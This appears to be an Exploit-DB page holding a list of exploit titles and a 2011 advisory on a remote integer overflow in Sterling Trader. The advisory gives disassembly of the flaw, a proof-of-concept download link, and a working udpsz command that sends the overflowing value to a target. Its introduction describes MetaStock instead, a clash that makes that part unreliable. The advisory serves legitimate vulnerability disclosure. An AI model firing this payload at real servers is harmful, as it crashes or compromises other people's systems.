ed0e1e4d44
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
107 lines
No EOL
3.6 KiB
Text
107 lines
No EOL
3.6 KiB
Text
#######################################################################
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Luigi Auriemma
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Application: Sterling Trader
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http://www.sterlingtrader.com/Trading_Platforms/trading_platforms2.html
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Versions: <= 7.0.2
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Platforms: Windows
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Bug: integer overflow
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Exploitation: remote
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Date: 25 Sep 2011
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Author: Luigi Auriemma
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e-mail: aluigi@autistici.org
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web: aluigi.org
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#######################################################################
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1) Introduction
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2) Bug
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3) The Code
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4) Fix
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#######################################################################
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===============
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1) Introduction
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===============
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MetaStock is the most used and awarded software for performing
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technical analysis of stocks, futures, forex, commodities, indices and
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other financial instruments.
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#######################################################################
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======
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2) Bug
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======
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When this program is running (Base.exe or Elite.exe) it listens on the
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first available TCP port which changes each time and it's affected by an
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integer overflow vulnerability:
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004922E3 > 83BF BC001000 10 CMP DWORD PTR DS:[EDI+1000BC],10
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004922EA . 0F8C 66010000 JL Elite.00492456
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004922F0 . 8D46 0C LEA EAX,DWORD PTR DS:[ESI+C]
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004922F3 . 50 PUSH EAX ; &num2
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004922F4 . 8D6E 08 LEA EBP,DWORD PTR DS:[ESI+8]
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004922F7 . 55 PUSH EBP ; &num1 (size)
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004922F8 . 68 9C23A000 PUSH Elite.00A0239C ; "1=%d~2=%d~"
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004922FD . 53 PUSH EBX
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004922FE . E8 7CA44600 CALL Elite.008FC77F ; sscanf
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00492303 . 83C4 10 ADD ESP,10
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00492306 . 83F8 02 CMP EAX,2
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00492309 . 0F85 4D010000 JNZ Elite.0049245C
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0049230F . 8B55 00 MOV EDX,DWORD PTR SS:[EBP]
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00492312 . 83C2 10 ADD EDX,10 ; size + 0x10
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00492315 . B9 31000000 MOV ECX,31
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0049231A . 66:898E 84000000 MOV WORD PTR DS:[ESI+84],CX
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00492321 . 8956 04 MOV DWORD PTR DS:[ESI+4],EDX
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00492324 . C746 70 10000000 MOV DWORD PTR DS:[ESI+70],10
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0049232B . 33ED XOR EBP,EBP
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0049232D > 8B87 BC001000 MOV EAX,DWORD PTR DS:[EDI+1000BC]
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00492333 . 3B46 04 CMP EAX,DWORD PTR DS:[ESI+4]
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00492336 . 0F8C 3E010000 JL Elite.0049247A
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0049233C . 89AF C0001000 MOV DWORD PTR DS:[EDI+1000C0],EBP
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00492342 . 8B4E 04 MOV ECX,DWORD PTR DS:[ESI+4]
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00492345 . 41 INC ECX ; size + 1
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00492346 . 51 PUSH ECX
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00492347 . E8 C0673F00 CALL Elite.00888B0C ; malloc()
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0049234C . 8B56 04 MOV EDX,DWORD PTR DS:[ESI+4]
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0049234F . 52 PUSH EDX
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00492350 . 53 PUSH EBX
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00492351 . 50 PUSH EAX
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00492352 . 8946 6C MOV DWORD PTR DS:[ESI+6C],EAX
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00492355 . E8 36774600 CALL Elite.008F9A90 ; memcpy
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#######################################################################
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===========
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3) The Code
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===========
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http://aluigi.org/testz/udpsz.zip
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/17889.zip
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udpsz -b a -T -c "1=4294967279~2=0~" SERVER PORT 0xffff
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#######################################################################
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======
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4) Fix
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======
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No fix.
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####################################################################### |